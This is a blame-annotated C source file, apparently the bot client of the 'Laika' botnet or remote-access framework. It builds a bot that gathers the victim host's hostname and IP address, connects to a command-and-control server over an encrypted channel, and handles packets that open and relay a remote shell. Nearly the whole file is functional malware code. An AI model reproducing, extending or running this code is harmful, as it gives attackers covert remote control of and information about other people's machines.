2022-01-25 03:46:29 +00:00
|
|
|
#include "lmem.h"
|
2022-02-25 04:13:05 +00:00
|
|
|
#include "lsodium.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
#include "bot.h"
|
2022-02-21 23:25:49 +00:00
|
|
|
#include "shell.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-01-28 01:55:28 +00:00
|
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
2022-01-31 01:10:10 +00:00
|
|
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
2022-02-03 22:46:12 +00:00
|
|
|
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-03-06 02:46:35 +00:00
|
|
|
/* =============================================[[ Packet Tables ]]============================================== */
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
|
|
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
|
|
|
laikaB_handleHandshakeResponse,
|
|
|
|
sizeof(uint8_t),
|
|
|
|
false),
|
|
|
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
|
|
|
|
laikaB_handleShellOpen,
|
2022-03-07 21:16:46 +00:00
|
|
|
sizeof(uint16_t) + sizeof(uint16_t),
|
2022-02-28 22:27:55 +00:00
|
|
|
false),
|
|
|
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
|
|
|
|
laikaB_handleShellClose,
|
|
|
|
0,
|
|
|
|
false),
|
|
|
|
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
2022-03-02 16:38:16 +00:00
|
|
|
laikaB_handleShellData,
|
2022-02-28 22:27:55 +00:00
|
|
|
0,
|
|
|
|
true),
|
2022-01-31 01:10:10 +00:00
|
|
|
};
|
|
|
|
|
2022-03-06 02:46:35 +00:00
|
|
|
/* ==================================================[[ Bot ]]=================================================== */
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
struct sLaika_bot *laikaB_newBot(void) {
|
|
|
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
2022-02-15 22:57:21 +00:00
|
|
|
struct hostent *host;
|
2022-03-05 02:17:03 +00:00
|
|
|
char *tempINBuf;
|
2022-01-28 01:55:28 +00:00
|
|
|
size_t _unused;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
bot->shell = NULL;
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaP_initPList(&bot->pList);
|
|
|
|
bot->peer = laikaS_newPeer(
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaB_pktTbl,
|
2022-01-25 03:46:29 +00:00
|
|
|
&bot->pList,
|
2022-03-24 15:26:06 +00:00
|
|
|
NULL,
|
|
|
|
NULL,
|
2022-01-25 03:46:29 +00:00
|
|
|
(void*)bot
|
|
|
|
);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
|
|
|
/* generate keypair */
|
|
|
|
if (sodium_init() < 0) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
|
|
|
}
|
|
|
|
|
2022-03-21 20:24:05 +00:00
|
|
|
if (!laikaK_genKeys(bot->pub, bot->priv)) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to gen keypair!\n");
|
|
|
|
}
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-29 06:26:15 +00:00
|
|
|
/* read cnc's public key into peerPub */
|
2022-03-21 20:24:05 +00:00
|
|
|
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to init cnc public key!\n");
|
|
|
|
}
|
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* grab hostname & ip info */
|
|
|
|
if (SOCKETERROR(gethostname(bot->peer->hostname, LAIKA_HOSTNAME_LEN))) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("gethostname() failed!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
if ((host = gethostbyname(bot->peer->hostname)) == NULL) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("gethostbyname() failed!\n");
|
|
|
|
}
|
|
|
|
|
2022-03-05 02:17:03 +00:00
|
|
|
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
|
2022-02-15 22:57:21 +00:00
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("inet_ntoa() failed!\n");
|
|
|
|
}
|
|
|
|
|
2022-03-05 02:17:03 +00:00
|
|
|
/* copy inet address info */
|
|
|
|
strcpy(bot->peer->inet, tempINBuf);
|
2022-01-25 03:46:29 +00:00
|
|
|
return bot;
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_freeBot(struct sLaika_bot *bot) {
|
2022-02-21 23:25:49 +00:00
|
|
|
int i;
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaP_cleanPList(&bot->pList);
|
|
|
|
laikaS_freePeer(bot->peer);
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* clear shell */
|
|
|
|
if (bot->shell)
|
|
|
|
laikaB_freeShell(bot, bot->shell);
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaM_free(bot);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|
|
|
struct sLaika_socket *sock = &bot->peer->sock;
|
|
|
|
|
|
|
|
/* setup socket */
|
|
|
|
laikaS_connect(sock, ip, port);
|
|
|
|
laikaS_setNonBlock(sock);
|
|
|
|
|
|
|
|
laikaP_addSock(&bot->pList, sock);
|
|
|
|
|
|
|
|
/* queue handshake request */
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_startOutPacket(bot->peer, LAIKAPKT_HANDSHAKE_REQ);
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
2022-03-18 04:05:18 +00:00
|
|
|
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
2022-02-15 22:57:21 +00:00
|
|
|
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
2022-03-05 02:17:03 +00:00
|
|
|
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
|
2022-02-15 22:57:21 +00:00
|
|
|
laikaS_endOutPacket(bot->peer);
|
2022-02-04 02:51:32 +00:00
|
|
|
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
2022-02-03 22:25:49 +00:00
|
|
|
|
2022-02-04 02:51:32 +00:00
|
|
|
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
2022-02-28 22:27:55 +00:00
|
|
|
LAIKA_ERROR("failed to gen session key!\n");
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_flushQueue(struct sLaika_bot *bot) {
|
|
|
|
/* flush pList's outQueue */
|
|
|
|
if (bot->pList.outCount > 0) {
|
2022-03-24 15:26:06 +00:00
|
|
|
if (!laikaS_handlePeerOut(&bot->peer->sock))
|
2022-02-21 23:25:49 +00:00
|
|
|
laikaS_kill(&bot->peer->sock);
|
|
|
|
|
|
|
|
laikaP_resetOutQueue(&bot->pList);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
|
|
|
struct sLaika_pollEvent *evnt;
|
|
|
|
int numEvents;
|
|
|
|
|
2022-02-25 04:13:05 +00:00
|
|
|
/* flush any events prior (eg. made by a task) */
|
2022-02-21 23:25:49 +00:00
|
|
|
laikaB_flushQueue(bot);
|
2022-01-25 03:46:29 +00:00
|
|
|
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
if (numEvents == 0) /* no events? timeout was reached */
|
|
|
|
return false;
|
|
|
|
|
2022-03-24 15:26:06 +00:00
|
|
|
if (!laikaP_handleEvent(evnt))
|
|
|
|
laikaS_kill(&bot->peer->sock);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-02-25 04:13:05 +00:00
|
|
|
/* flush any events after (eg. made by a packet handler) */
|
2022-02-21 23:25:49 +00:00
|
|
|
laikaB_flushQueue(bot);
|
2022-01-25 03:46:29 +00:00
|
|
|
return true;
|
|
|
|
}
|